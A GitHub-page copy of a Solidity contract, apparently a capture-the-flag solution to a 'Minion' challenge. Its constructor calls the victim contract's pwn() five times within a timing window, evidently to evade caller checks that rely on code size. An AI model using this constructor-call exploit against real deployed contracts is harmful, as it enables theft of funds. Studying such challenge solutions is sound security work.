generated from The-Solid-Chain/smart-contracts-template
-
Notifications
You must be signed in to change notification settings - Fork 0
/
MinionSolution.sol
36 lines (26 loc) · 976 Bytes
/
MinionSolution.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
interface IMinion {
function timeVal() external view returns (uint256);
function pwn() external payable;
function retrieve() external;
function verify(address account) external view returns (bool);
}
contract MinionSolution {
IMinion public victim;
constructor(address victim_) payable {
victim = IMinion(victim_);
require(msg.value == 1 ether, "Need one ether to pwn");
require(victim.timeVal() % 120 >= 0 && victim.timeVal() % 120 < 60, "Bad time");
// 1 ether in total
victim.pwn{ value: 0.2 ether }();
victim.pwn{ value: 0.2 ether }();
victim.pwn{ value: 0.2 ether }();
victim.pwn{ value: 0.2 ether }();
victim.pwn{ value: 0.2 ether }();
require(victim.verify(address(this)), "Not pwnd!");
}
function isPwnd() external view returns (bool) {
return victim.verify(address(this));
}
}